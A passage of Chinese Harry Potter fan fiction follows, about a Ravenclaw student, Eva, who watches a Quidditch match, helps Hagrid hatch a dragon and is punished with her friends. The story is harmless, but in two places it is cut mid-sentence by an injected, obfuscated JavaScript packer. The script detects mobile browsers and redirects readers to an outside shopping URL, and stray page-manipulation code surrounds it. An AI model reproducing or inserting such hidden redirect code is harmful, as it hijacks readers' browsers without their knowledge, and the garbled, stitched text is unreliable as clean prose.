“塞德里克?”曼蒂眨眨眼,“那个黑头发的高个子?” “嗯,”秋点点头,脸上露出一点欣赏的神色,“他飞得很稳,不急不躁。我去年看过他的比赛,判断力很好。” Eva安静地吃着早餐。她见过塞德里克·迪戈里几次——在走廊里,在礼堂,总是彬彬有礼的样子,笑起来很温和。确实和哈利那种“一头扎进去”的风格不太一样。 上午十点,学生们开始涌向魁地奇球场。天空是淡灰色的,云层很厚,但没有下雨。风有点大,吹得旗帜哗啦啦响。 Eva和曼蒂跟着拉文克劳的队伍在看台高处找了位置。今天拉文克劳是中立观众,所以蓝青铜色的围巾和旗帜在人群中不算显眼。格兰芬多看台那边是一片红金色的海洋,赫奇帕奇这边则是黄黑色的波浪。 “快看!”曼蒂指着球场入口。 两队球员骑着扫帚飞了出来。格兰芬多的猩红袍子在灰暗的天空下格外鲜艳,赫奇帕奇的金黄队服则像移动的阳光。哈利飞在格兰芬多队伍最前面,光轮2000在灰暗的天色中依然闪着流畅的光泽,他头发被风吹得更乱了,但绿眼睛亮得惊人。 解说员李·乔丹的声音通过魔法放大,响彻球场:“欢迎来到本赛季第三场魁地奇比赛!格兰芬多对赫奇帕奇!双方球员入场——” 观众席爆发出震耳欲聋的欢呼声。伍德和赫奇帕奇队长握手后,两队球员升空。 “比赛开始!” 鬼飞球立刻被抛向空中。安吉丽娜·约翰逊抢到球,一个漂亮的转身躲过赫奇帕奇追球手,直冲球门—— “格兰芬多得分!10比0!” 红金色看台沸腾了。赫奇帕奇很快还以颜色,他们的追球手配合默契,连续两次突破格兰芬多防线。 “20比10!赫奇帕奇领先!” Eva仰着头,眼睛跟着空中的身影移动。魁地奇比赛总是让她眼花缭乱——太快了,太乱了。鬼飞球飞来飞去,游走球横冲直撞,两个找球手在球场上空盘旋,像两只寻找猎物的鹰。 哈利飞得很高,几乎要碰到云层。光轮2000的速度优势很明显,他在空中快速移动时留下一道模糊的红色残影。塞德里克·迪戈里在他对面不远处,骑着一把略显陈旧的彗星260,飞得稍低一些,动作沉稳扎实,不疾不徐地扫描着球场。 突然,哈利的光轮2000猛地倾斜,一个俯冲—— 观众席响起惊呼声。但哈利不是发现了金色飞贼,而是在躲一个失控的游走球。游走球擦着他的扫帚尾飞过,他顺势一个急转,重新拉高。 “好险!”曼蒂捂住嘴。 比赛进行得很激烈。分数交替上升,30平,40平,50比40,60比50……伍德扑出了几个关键球,但赫奇帕奇的守门员也表现不俗。 时间一分一秒过去。天空越来越暗,云层压得更低了。风大了起来,球员们的袍子被吹得猎猎作响。 “已经一个多小时了……”曼蒂看了眼手表,“金色飞贼还没出现。” Eva揉了揉发酸的脖子。一直仰着头看,颈椎有点受不了。她正准备低头活动一下,突然听见观众席爆发出更大的惊呼声。 她猛地抬头—— 哈利和塞德里克几乎同时动了! 但这次速度的差距显现了出来——光轮2000的加速快得惊人,哈利像一道红色闪电俯冲而下。塞德里克的彗星260明显慢了一拍,等他开始俯冲时,哈利已经领先了两个扫帚身位! 金色飞贼在球场中央低空盘旋,忽左忽右,像一只调皮的金色蜜蜂。 哈利俯身,身体几乎和扫帚平行,风把他的头发吹得向后飞扬。他眯着眼睛,一只手松开扫帚柄,向前伸出—— 就在指尖快要触到飞贼的刹那,飞贼突然一个急转弯,向上窜去! 哈利立刻拉高扫帚,光轮2000几乎垂直上升。塞德里克也从侧面追上来,彗星260发出吃力的嗡嗡声。 两个找球手在空中追逐着那点金光,一红一黄两道轨迹在灰暗的天空中交错。哈利的速度明显更快,但塞德里克的转弯更平滑,几次在弯道处拉近距离。 离地面越来越近——二十英尺,十五英尺,十英尺—— 哈利突然侧身,光轮2000以一个不可思议的角度倾斜,他几乎要掉下来,但一只手死死抓住扫帚柄,另一只手向前伸出—— 塞德里克也伸出手,彗星260奋力加速—— “抓住了!”李·乔丹的尖叫声几乎要震破魔法扩音器,“哈利·波特抓住了金色飞贼!光轮2000的速度优势决定了胜负!格兰芬多赢了!” 红金色看台爆发出震耳欲聋的欢呼声。格兰芬多球员们冲向哈利,把他从扫帚上拉下来,抛向空中。塞德里克降落在不远处,脸上带着遗憾但得体的微笑,向哈利点头致意。 Eva看着球场中央那个被队友包围的瘦小身影。哈利浑身被汗水浸透,头发贴在额头上,脸上却笑得那么灿烂,那么明亮,那道疤痕在兴奋中几乎看不见了。 也许魁地奇真的能让他暂时忘记那些沉重的事。也许在空中的时候,他只需要想着飞行,想着金色飞贼,想着比赛。 这样也挺好。 回去的路上,学生们还在兴奋地议论刚才的比赛。 “光轮2000太快了!” “塞德里克飞得也很好,只是扫帚差了点……” “哈利最后那个俯冲太惊险了!” Eva和曼蒂挤在人群中慢慢走着。风还是很大,得小心看路。 在门厅里,她们碰见了哈利三人。哈利已经换了干衣服,但头发还是湿的,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980636|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着兴奋的红晕。 “我们赢了!”罗恩激动地挥舞着拳头,“光轮2000太棒了!” “你飞得太好了,哈利!”曼蒂真诚地说。 哈利不好意思地笑了笑,绿眼睛看向Eva:“你们来看比赛了?风那么大……” “看了,”Eva点点头,“很精彩。” 赫敏从书包里抽出几条干毛巾,递给哈利一条:“快擦擦,小心感冒。庞弗雷夫人说最近感冒的人很多。” 他们一起走向礼堂。晚餐时间快到了,空气里有烤肉的香味。哈利还在兴奋地说着比赛的细节——那个关键的俯冲,光轮2000的反应速度,塞德里克遗憾的微笑。 Eva安静地听着,偶尔点点头。她注意到哈利的笑容底下,那道疤痕又隐约可见了——不是疼,只是存在。就像那些沉重的事,暂时被胜利的喜悦压下去,但还在那儿,没有消失。 那天晚饭后,Eva在公共休息室写作业时,听见几个拉文克劳高年级学生在窗边低声交谈。 “……禁林边上最近总有动静,我夜巡时听费尔奇说的。” “什么动静?” “像有人在林子里偷偷会面。海格去查过几次,但什么都没找到。费尔奇说可能是学生在搞鬼,但海格觉得不像……” Eva的羽毛笔在羊皮纸上顿了一下,墨水滴落,晕开一小团。她轻轻用魔杖点了点:“清理一新。” 墨渍消失了,但心里的不安没有消失。 禁林,黑影,会面…… 拼图又多了一块,但她还看不清全貌。 第二天是星期天,没有课。Eva早起念完静心口诀后,决定去猫头鹰棚屋给爷爷寄信。素雪需要一个舒展翅膀的机会,她也有话想对爷爷说——不是具体的事情,而是一些盘旋在心里的、模糊的感觉,关于信任,关于平静水面下的涌动,关于一个朋友不安的直觉。 她沿着熟悉的旋转石阶爬上西塔楼。猫头鹰棚屋里空气流通,带着羽毛、干草和粪便的混合气味。清晨的风从没有玻璃的窗洞灌进来,冷飕飕的。几十只猫头鹰站在高低错落的栖木上,有的在睡觉,有的在梳理羽毛,发出咕咕的轻响。 素雪从它常待的靠窗栖木上飞过来,轻盈地落在她抬起的手臂上,琥珀色的眼睛望着她。 Eva从书包里拿出羊皮纸和墨水,找了个避风的角落,靠着粗糙的石墙开始写信。她没有提“魔法石”,也没有提任何具体的名字或事件。她只是写道,学校里似乎有一种紧绷的气氛,像暴风雨前的平静。她写到一个朋友(没有写名字)似乎被过去的阴影和现在的谜团困扰,总是很警觉。她写道,大人们(“教授们”)让我们信任他们,把问题交给他们,这当然是对的。但是,当水面下的涌动越来越明显,而你的朋友就站在水边,你能做的似乎只有看着,并感到一种无能为力。 她停了停笔,想起爷爷笔记上的话,又继续写道: “您说‘放手非弃,信人也’。我试着去‘信人’,把复杂的事交给大人。我也尽量‘守中’,不让自己被漩涡卷进去。可是爷爷,如果漩涡的边缘已经碰到了你在乎的人,那种‘静观’就变得很难,像隔着一层雾看人挣扎。这‘中’该如何守,‘信’又该如何把握分寸呢?” 她把信仔细卷好,用细绳系在素雪的腿上,轻轻拍了拍它。“去吧,路上小心。到伦敦后,记得投进红色的大邮箱。” 素雪用喙碰了碰她的手指,展开雪白的翅膀,悄无声息地滑出窗洞,很快消失在城堡外灰蓝色的晨雾中。 Eva没有立刻离开。她走到一个朝东的窗洞前,手扶着冰冷的石壁,俯瞰着下方逐渐苏醒的霍格沃茨场地。黑湖像一块巨大的深色玻璃,远处的禁林边缘笼罩在薄雾里,显得幽深而神秘。庭院里已经有早起的学生在散步,几个小小的身影在魁地奇球场方向移动——一定是伍德又拉着队员加练了。 就在这时,她的目光被禁林边缘一个独自行走的身影吸引住了。 那身影很小,从这么高的地方看下去更小,但走路的姿态和那头乱糟糟的黑发……是哈利。 他独自一人,慢慢走到禁林边缘,停在那里,朝着幽深的树林里张望。他站了很久,晨风吹动他旧外套的下摆,让他看起来有些单薄,又格外专注。 他在看什么?Eva想起昨天在公共休息室听到的议论——禁林边上的动静,像是有人偷偷会面。难道哈利也听说了,或者……发现了什么? 哈利又站了一会儿,才转身慢慢往回走,消失在通往城堡的小径拐弯处。 Eva的心轻轻沉了一下。晨风从窗洞灌进来,吹得她打了个寒颤。玉佩在手腕上温温的,没有预警。但哈利那孤独而警惕的身影,却像一根细小的刺,扎进了她心里。 有些危险,也许不是黑暗力量。有些秘密,也许藏在人心深处。 她离开猫头鹰棚屋,走下漫长的旋转楼梯。石阶冰冷,脚步声在空荡荡的塔楼里回响。 那天晚上,Eva躺在黑暗中,听着窗外的风声。 风在高高的塔楼外呼啸,发出呜呜的响声,像遥远的哭泣。 她想起哈利独自站在禁林边的样子——那么小,那么警惕,像一只感觉到危险却无处可逃的小动物。 也许他的直觉是对的。也许那些水面下的暗流,真的要冲破水面了。 她翻了个身,手指碰到枕头下的玉佩。温温的,稳稳的。 守中持正,静观其变。 21. 迷雾与棋子 爷爷的回信在三天后到了。 那是周三的早晨,Eva像往常一样坐在窗边念静心口诀。素雪从窗缝挤进来,轻轻落在书桌上,腿上的信卷在晨光里泛着淡淡的米黄色。 Eva小心地解开绳子,展开羊皮纸。爷爷的字还是那么端正,一笔一划,像用尺子量过: “丽华:信悉。雾中观人,常失真容;水中捞月,徒费心神。你所言‘中’与‘信’之难处,实乃成长必经之路。守中非袖手,信人非盲从。可为者,护己身安,尽己力助友;不可为者,越俎代庖,逞匹夫之勇。朋友若陷雾中,你当为灯,而非入雾共迷。灯不必亮如日,但须稳如磐。稳则明,明则照路。祖父字。” Eva把信读了两遍。雾中观人,水中捞月……爷爷说得对,她看到的也许只是表象。但“灯”的比喻让她心里踏实了些——她不需要知道全部真相,不需要解决所有问题。她只需要站稳,像一盏小灯,在自己能照亮的范围内,给朋友一点光。 她把信小心收进绢帛笔记里,手指抚过那些熟悉的汉字。稳如磐——这个词让她想起拉文克劳塔楼下的岩石,千百年来风吹雨打,依然稳稳地立在那里。 今天上午第一节课是魔药课。Eva和曼蒂走下旋转楼梯时,在四楼拐角处碰到了哈利、罗恩和赫敏。三个人的脸色都不太好,眼圈下面有淡淡的阴影。 “昨晚没睡好?”曼蒂小声问。 哈利摇摇头,手指无意识地碰了碰额头:“做了个梦……又是绿光。而且这次好像听见有人在说话,声音很轻,听不清说什么。” 赫敏眉头紧锁:“我已经查了《常见魔法梦境解析》,但书上说……” “书上说的不一定对,”罗恩打断她,“哈利的疤又不是常见的。” 他们一起往地下室走。阴冷潮湿的气息从楼梯底下涌上来,混着草药和霉味。Eva把围巾拉紧了些——魔药教室总是这么冷,好像阳光永远照不进去。 斯内普教授走进教室时,黑袍带起一阵冷风。他的脸色比平时更苍白,嘴唇紧紧抿着,黑眼睛像两潭深水,慢慢扫过全班,最后在哈利身上停留的时间格外长。 “今天熬制提神剂,”他的声音像冰面裂开,“配方在黑板上。这是你们本学期的最后一个魔药课题。我希望看到完美的颜色变化和清澈的质地。”他顿了顿,目光在教室里缓缓移动,“鉴于有些同学最近的……注意力明显不集中在课业上,今天的课堂表现将直接影响期末评分。任何敷衍了事的作品,都将被视为对自己学院荣誉的漠视。” 教室里一片寂静。所有人都明白斯内普话里的意思——如果做得不好,扣分是必然的。 Eva和帕德玛交换了一个担忧的眼神,赶紧开始准备材料。坩埚架到火上后,药液慢慢加热,冒出细小的气泡。加入月长石粉后,应该变成柔和的珍珠白色——但她们可能火候稍高,颜色偏黄。 斯内普教授无声无息地滑到她们的操作台旁,仿佛一团冰冷的阴影。他没有触碰坩埚,只是俯下身,鹰钩鼻几乎要碰到药液上方升起的稀薄蒸汽。他眯起黑眼睛,审视着药液那种偏暗、不够清澈的黄绿色,眼神锐利得像在评估一件赝品。 “火候偏大,月长石粉加入时机不佳,”他冰冷的声音如同地窖的石壁,“导致药液颜色暗沉、质地不够清澈。这说明有人在搅拌时心浮气躁,或者根本就没认真读步骤说明。”他直起身,黑袍带起一阵阴冷的风,“看来拉文克劳和格兰芬多一样,都有人把精力花在了课堂之外的事情上。重做,扣五分。” “是,教授。”Eva和帕德玛同时低声应道,开始清理坩埚。 斯内普没有马上走。他的目光落在Eva的操作台上——那里整齐地摆放着各种材料,每样都按使用顺序排列。爷爷给的紫竹笔放在羊皮纸笔记旁,笔尖干净。他的眼神在那支笔上停留了片刻,漆黑的眸子里闪过一丝难以捉摸的审视。然后,他才转身走向纳威和西莫那一组——那里的坩埚正冒着刺鼻的紫色浓烟。 下课铃终于响了。学生们如释重负地逃离阴冷的地下室。Eva收拾东西时,听见斯内普教授在教室门口叫住了哈利。 “波特,留一下。” 哈利的脸白了。罗恩和赫敏担忧地看着他,但他只是点点头,让朋友们先走。 Eva和曼蒂走上楼梯,在二楼平台等。大概五分钟后,哈利出来了,脸色比进去时更难看。 “他问我……”哈利的声音压得很低,绿眼睛里满是困惑,“问我最近有没有感觉到什么‘异常’。我说了做梦的事,但他只是哼了一声,说‘庞弗雷夫人的药不管用就加量’,然后就让我走了。” “就这样?”罗恩惊讶地问。 哈利点点头:“就这样。但他的眼神……很奇怪。好像在确认什么。” 他们一起走回主楼。阳光从高高的窗户斜射进来,在地板上投下明亮的光斑。庭院里,几个低年级学生在追逐打闹,笑声清脆。 下午没有课。Eva决定去图书馆。她需要查一些关于古代防护魔法的资料——弗立维教授布置的论文,关于“霍格沃茨城堡防护体系的演变”。 图书馆里很安静。平斯夫人在前台整理借阅记录,羽毛笔在羊皮纸上沙沙响。Eva走向靠窗的老位置——桌上还摊着昨天没看完的书:《中世纪魔法城堡防御研究》。 她看了大概半小时,旁边有人轻轻拉开椅子。是赫敏,抱着几本厚书坐下。 “嗨。”赫敏小声说。 “嗨。”Eva回应。 赫敏翻开最上面那本——《古代炼金术符号考》——开始飞快地阅读。她的羽毛笔写得沙沙响,比平斯夫人的还快。 安静持续了大概二十分钟。然后赫敏突然抬起头,压低声音:“我们需要谈谈。” Eva看着她。 “关于魔法石,”赫敏的眼睛在镜片后闪闪发亮,“我查到了更多资料。书上说,魔法石的制作需要极其复杂的炼金过程,而且……必须在一个特定的时间点完成。尼可·勒梅的生日是……” 她没说完,因为平斯夫人正朝这边走来。两人立刻低下头,假装专心看书。 等平斯夫人走远了,赫敏才继续说:“他的生日是七月。如果四楼真的是魔法石,那可能……有人在等那个时间点。” Eva的心跳漏了一拍。等时间点——为了什么?为了偷?还是为了用? “还有,”赫敏的声音更低了,“我查了禁书区的借阅记录——当然,是通过一些……非正规手段。”她顿了顿,“奇洛教授最近借了很多关于黑魔法防护的书。斯内普教授借的是……关于解毒和诅咒反制的。” “你的意思是……”Eva轻声问。 “不知道,”赫敏摇摇头,“也许说明他们都在准备什么。奇洛在加强防护,斯内普在研究破解……”她咬了咬嘴唇,“或者反过来。” 线索像一团乱麻,越理越乱。Eva想起爷爷信里的话——雾中观人,常失真容。她现在就在雾里,什么都看不清。 周四傍晚,Eva和曼蒂从图书馆出来,在门厅被海格的猫头鹰埃罗弗拦住了。大鸟焦躁地扑棱着翅膀,把一张沾着泥土、皱巴巴的纸条丢在Eva怀里,不等她们反应就飞走了。 纸条上是海格潦草得几乎认不出的字迹: “出事了控制不住 龙快孵了 需要人手速来 别告诉别人 哈利他们知道但也需要更多帮手——海格” 曼蒂凑过来看,倒吸一口冷气:“龙?海格他疯了?!” Eva盯着纸条上“控制不住”几个字,指尖有些发凉。爷爷的话在脑子里清晰回响:“知可为而为,知不可为而不为。”遇到危险,第一时间找教授——这是最正确、最安全的路。 她抬起头看向曼蒂:“这远远超出我们能处理的范围了。应该立刻告诉麦格教授。” “可是……”曼蒂抓住她的袖子,声音发颤,“海格说‘控制不住’。如果……如果在我们找教授的时候,龙已经孵出来,伤到海格自己,或者跑出小屋呢?哈利他们可能已经去了,他们怎么应付!” Eva沉默了。曼蒂的担心不无道理。海格对神奇动物的爱常常让他失去判断力,哈利他们再勇敢也只是孩子。一幅糟糕的画面在她脑中闪过:失控的雏龙、着火的木屋、惊慌失措的朋友……然后才是姗姗来迟的教授们。 “先去看一眼,”她最终说,声音比她自己预想的要快,像是要赶在理智再次占据上风之前把决定说出口,“只是确认情况。如果危险,我们立刻回来报告,一刻也不多留。” 两人匆匆走向城堡大门。天色已经暗下来,禁林的方向一片漆黑。 海格的小屋里一片狼藉。桌子被推到墙角,上面摊着烧焦的《养龙指南》。屋子中央,海格正用厚毯子徒劳地试图按住一颗剧烈晃动的、布满鳞片的巨蛋,额头上全是汗。 哈利、罗恩和赫敏已经在里面了,脸上都是不知所措。看到Eva和曼蒂,哈利像是松了口气:“你们来了!海格他——” 咔嚓! 蛋壳裂开一道大口子,一只湿漉漉、皱巴巴的黑色脑袋钻了出来,发出像生锈铰链般的刺耳尖叫。紧接着,一小簇火焰从它鼻孔喷出,直冲天花板,烧焦了几根房梁。 “诺伯!我的小宝贝!”海格又想哭又想笑,伸手想去抱,却被雏龙扭头咬住了手指——不是真的咬,更像是在用还没长硬的牙龈啃咬。 “梅林啊!”罗恩往后跳了一步。 雏龙诺伯看起来很虚弱,挣扎着想完全爬出蛋壳。它长着蝙蝠般的翅膀,背脊上有一排细小的骨刺,鼻子又长又尖。最引人注目的是它鼻孔里不时冒出的零星火花——每次火花出现,它都会发出满足的呼噜声,然后又虚弱地瘫软下去。 “它需要吃东西!”海格慌张地说,指着墙角几个木桶,“白兰地加鸡血!书上是这么说的!得趁它还愿意吃的时候喂!” Eva站在原地没动。眼前的景象——非法孵化的龙、喷出的火花、海格完全的失控——都指向一个明确的事实:必须立刻报告。她转身想拉曼蒂离开,去履行“报告教授”的承诺。 但赫敏已经冲过来,把一小杯粘稠的混合物塞进她手里:“Eva,拿着!它太虚弱了,得一小口一小口喂,不然会呛到!” Eva下意识接住了杯子。杯子里是暗红色的液体,混着酒味和血腥味。就在这时,诺伯发出一声微弱的哀鸣,又喷出几点火星,身体抽搐了一下。 如果不喂,它可能会死。这个念头闪过Eva的脑海。她看了一眼手里的杯子,又看了一眼虚弱抽搐的雏龙。如果把杯子扔下离开,等教授赶来时,看到的可能已经是一具尸体——而海格会因此崩溃。 爷爷的教导在耳边低语:界限。规矩。量力而行。 但眼前的生命在挣扎,朋友在求助。 她咬了咬牙,走到蛋壳边蹲下,小心地将杯子边缘凑到诺伯嘴边。雏龙本能地伸出舌头,开始小口舔食。 在喂出第一口的那一刻,Eva清晰地知道:有些线,一旦跨过去,就没有回头路了。这不是简单的帮忙,这是共犯。 那天晚上离开海格小屋时,天已经快亮了。几个人都精疲力尽,身上沾着鸡血和烟灰。 在城堡门口,哈利叫住了Eva和曼蒂,脸色苍白但认真:“今晚的事……谢谢。还有,对不起,把你们扯进来。” “龙的事情太大了,”赫敏快速地说,声音里带着后怕,“我们得帮海格处理好,送走它,不能让它被发现。否则……” 她没说完,但所有人都明白后果:海格会被开除,甚至进阿兹卡班;参与的人也会面临严厉惩罚。 Eva沉默地点了点头。她明白赫敏的意思——她们现在是一条船上的人了。秘密一旦开始,就必须用更多的行动去掩盖,直到把它安全送走。这不是选择,而是后果。 “查理回信之前,”罗恩说,“我们得轮流去帮忙,不然海格一个人搞不定。” Eva看了曼蒂一眼。曼蒂的脸色还是白的,但接触到Eva的目光后,她深吸一口气,轻轻点了点头。 “我和曼蒂也会去。”Eva说,声音很平静。这不是承诺,而是陈述一个既成事实。 接下来的日子,Eva和曼蒂的生活多了一项沉重的任务。她们轮班去海格的小屋,但Eva总是做那些最必要、最不引人怀疑的工作——清点诺伯啃坏的家具,检查门窗是否关严,在其他人喂食时拿着水桶站在旁边准备灭火。她几乎不碰诺伯,也不参与讨论该给它起什么昵称。当曼蒂小心翼翼地去摸诺伯的鳞片时,Eva只是站在一步之外看着。 “它其实挺可爱的,”一次喂食后,曼蒂小声说,手上还沾着鸡血,“你看它的眼睛……” “它一周长了三倍大,”Eva打断她,用魔杖清理着地上的污渍,“下周末之前必须送走。罗恩那边有消息吗?” 这就是她的方式——不投入感情,只关注如何解决问题,如何让这件事尽快、安全地结束。 秘密很难守住。 一天下午,Eva和曼蒂刚从海格小屋回来,在去门厅的路上,碰见了德拉科·马尔福。他正和克拉布、高尔站在走廊的窗前,看见她们时,灰眼睛眯了起来。 “哟,拉文克劳小姐们,”马尔福拖长声音,“这么着急去哪儿啊?又去‘帮忙’?” 他的语气里带着明显的试探。Eva心里一紧——难道马尔福察觉到了什么? “去庭院散步。”曼蒂抢着说,但声音有点抖。 “散步?”马尔福假笑,“带着那么重的书包?里面装的该不会是……给某个违禁宠物的食物吧?” Eva感觉到马尔福的目光像针一样扎在自己身上。他在观察,在试探。她想起飞行课上扎比尼的水晶球,想起马尔福一次次意味深长的注视。他在收集信息,就像在下一盘棋,而他们所有人都是棋子。 “不关你的事。”Eva平静地说,拉着曼蒂快步走开。 她能感觉到马尔福的目光一直黏在她们背上,直到拐过走廊拐角。 “他知道了,”曼蒂的声音发颤,“他一定知道了。” “不一定,”Eva说,但心里也没底,“我们得更小心。” 周六晚上终于到了。 罗恩收到了查理的回信。查理同意接收诺伯,并安排了他的朋友下个周六的午夜来接龙。这意味着他们还需要秘密照顾诺伯整整一周,并在深夜将它从塔楼运到天文塔顶——这是查理的朋友指定的交接点。 计划复杂而危险,但这是唯一能让诺伯安全离开、同时不让海格坐牢的办法。 最后一晚,Eva和曼蒂借口“在公共休息室复习到很晚”,实际上在宵禁后悄悄溜出拉文克劳塔楼,与哈利、罗恩、赫敏在海格的小屋汇合。诺伯现在已经有一只小马驹那么大了,被装在一个大板条箱里,不停地抓挠箱壁,发出刺耳的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980637|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “轻点,诺伯,乖……”海格抽泣着,用大手拍着箱子,“你会喜欢罗马尼亚的,那里有很多你的同类……” 他们必须用漂浮咒把箱子运回城堡,然后爬上天文塔。这是一个笨拙而缓慢的过程——箱子太重,漂浮咒时灵时不灵,而且诺伯在里面不停地动。 更糟的是,在路过门厅时,他们听见了脚步声。 “快躲起来!”哈利嘶声说。 他们拖着箱子躲到一套盔甲后面。脚步声近了——是费尔奇,提着灯,洛丽丝夫人在他脚边打转。 “我听见声音了,亲爱的,”费尔奇对猫说,“又有不守规矩的学生在夜里乱跑……” 他们在盔甲后面屏住呼吸。诺伯在箱子里发出一声闷响,费尔奇立刻转过头。 就在这千钧一发之际—— “荧光闪烁。” 一道光从楼梯上方亮起。是珀西·韦斯莱,穿着睡衣,手里举着魔杖,脸上带着级长特有的严肃表情。 “费尔奇先生?这么晚了有什么事吗?” “我听见声音——”费尔奇说。 “大概是我,”珀西镇定地说,“我在巡视。一切正常,你可以回去了。” 费尔奇怀疑地看了看四周,但珀西是级长,他不能反驳。最后他咕哝着,拖着洛丽丝夫人走开了。 等费尔奇走远,珀西才转向盔甲后面,压低声音:“罗恩?是你们吗?梅林啊,你们在干什么——” “没时间解释了,珀西!”罗恩急道,“帮我们保密,求你了!” 珀西看了看那个明显在动的箱子,又看了看弟弟和哈利他们惨白的脸,最后叹了口气:“快走。别被发现了。” 他们终于把箱子拖到了天文塔楼下。接下来的路只能靠他们自己了——螺旋楼梯又窄又陡,漂浮咒几乎失效,他们只能半抬半拖地把箱子往上挪。 就在他们到达塔顶,精疲力竭地把箱子放下时,塔楼的门被猛地推开了。 不是查理的朋友。 是麦格教授,穿着格子晨衣,头发紧紧地缩在发网里,脸上是Eva从未见过的震怒。她身后跟着穿着睡衣的德拉科·马尔福,后者脸上挂着毫不掩饰的得意笑容。 还有斯内普教授,像一团黑影子悄无声息地出现在麦格教授身后,黑袍在夜风中翻飞,黑眼睛扫过在场的每一个人,最后在Eva脸上停留了一瞬——那眼神深不见底,像是在说:果然有你。 “解释。”麦格教授的声音冷得像冰,每个字都像小锤子敲在石头上,“立刻。” 箱子里的龙适时地发出一声咆哮,喷出一小簇火焰,点燃了箱板。 一切都不言而喻了。 校长办公室里,气氛沉重得像要凝固。 麦格教授气得浑身发抖:“一而再,再而三地违反校规!夜间闲逛!现在还敢私自饲养违禁的危险生物!你们知不知道这有多严重?如果这条龙伤到人——” “它不会的,教授!”海格哭道,“诺伯还是个宝宝——” “挪威脊背龙一岁就能喷出足以致命的火焰!”麦格教授打断他,“海格,你作为教职员工,知法犯法,处罚会后单独讨论。至于你们几个学生……”她的目光扫过哈利、罗恩、赫敏、Eva和曼蒂,“每个人,各自学院扣五十分。” 五十分。这个数字让所有人都倒吸一口冷气。加上Eva之前因为四楼禁区被扣的五十分,拉文克劳这个学期在学院杯上已经毫无希望了。 “教授,这不公平!”罗恩脱口而出,“Eva和曼蒂只是去帮忙——” “帮忙违反校规?”斯内普教授的声音像毒蛇滑过草地,冰冷而缓慢,“张小姐似乎总有办法出现在……最不合适的地方。从万圣节的巨怪,到四楼禁区,再到现在的违法养龙。作为有特殊背景的国际生,这种‘参与度’实在令人深思。” Eva感觉到斯内普的目光像冰锥一样刺穿她。特殊背景——他又一次提到了这个词。他在暗示什么?暗示她不守规矩,还是暗示她别有目的? “西弗勒斯,”麦格教授严厉地看了斯内普一眼,“处罚应该一视同仁。” “当然,”斯内普的嘴角勾起一个近乎讥讽的弧度,“我只是提醒,有些学生可能需要……更深刻的教训,才能真正明白规则的重量。” 麦格教授深吸一口气,显然在努力控制情绪:“扣分只是开始。因为你们的严重违规,所有人都要接受劳动服务。”她转向马尔福,语气同样冰冷,“至于你,马尔福先生。你夜间闲逛、跟踪同学,同样违反了校规。而且你明明早就发现了这件事,却选择在最后一刻才报告——这更像是在设陷阱,而不是诚心维护校规。你和他们一起去接受劳动服务。” “这不公平!”马尔福的脸白了,“我是揭发者!我是在做正确的事!” “正确的事是第一时间报告教授,而不是暗中观察、等待时机让违规最大化。”麦格教授冷冷地说,“你和他们一起去。” 马尔福的脸扭曲了,恶狠狠地瞪向哈利,又瞪向Eva,灰眼睛里燃烧着愤怒和怨恨。 处罚就这么定下了。离开校长办公室时,已经是凌晨。走廊里空荡荡的,只有他们自己的脚步声。 在楼梯口分开前,哈利看着Eva和曼蒂,绿眼睛里满是愧疚:“对不起……又连累你们了。拉文克劳被扣了一百分……” 曼蒂低着头,手指绞着袍子边,声音小得几乎听不见:“一百……分……”她抬头看Eva,眼圈红了,“我们……我们是不是闯大祸了?” Eva感觉到心沉甸甸的。一百学院分——这对拉文克劳意味着什么,她太清楚了。上次的五十分,公共休息室里那些失望的目光,罗伯特欲言又止的表情,还有秋尽力掩饰的忧虑……这些都像石头一样压在她心上。她自己的五十分,曼蒂的五十分,加起来一百。这是实实在在的、她们亲手造成的损失。 “是我们自己的选择,”Eva轻声说,这话像是对曼蒂说,也像是对自己说,“我们去海格小屋的时候,就知道可能会这样。” “是我的错,”海格抽着鼻子说,“都是我的错……” “现在说这些没用了,”赫敏疲惫地说,“我们得想想怎么面对明天。” 他们分开了。Eva和曼蒂沉默地走回拉文克劳塔楼。天边已经泛起了鱼肚白,新的一天就要开始,而等待着她们的,是学院的失望,还有即将到来的、在禁林里的劳动服务。 鹰形门环静静地挂在门上,今天没有提问——大概连门环都知道,这个时候回来的学生,不会有好消息。 公共休息室里空无一人,壁炉里的火已经熄灭了,只剩下一堆灰白的余烬。平时早晨这里总会有几个早起看书的学生,但今天,一个人也没有。也许他们都还在睡,也许……他们只是不想看到扣分后回来的她们。 Eva爬上旋转楼梯,回到宿舍。素雪在笼子里动了动,琥珀色的眼睛在昏暗晨光中看着她。 她脱下袍子,上面还沾着诺伯的鸡血和烟灰味。一百学院分。劳动服务。她想起斯内普那双深不见底的黑眼睛,想起马尔福得意的笑容,想起麦格教授震怒的脸。 然后她想起海格哭肿的眼睛,想起哈利说“对不起”时的表情,想起那只一点一点吃食的雏龙。 窗外的天色渐渐亮了。Eva躺上床,闭上眼睛。 有些选择,做了就是做了。有些代价,付了就是付了。 现在她能做的,只是面对。 22. 禁林的夜(上) 天亮得太快了。 Eva刚闭上眼睛,好像只过了几分钟,窗外就传来了鸟叫声。叽叽喳喳的,脆脆的,平时听着挺好听,今天只觉得吵。她坐起来,头发乱糟糟的,昨晚没梳就睡了。 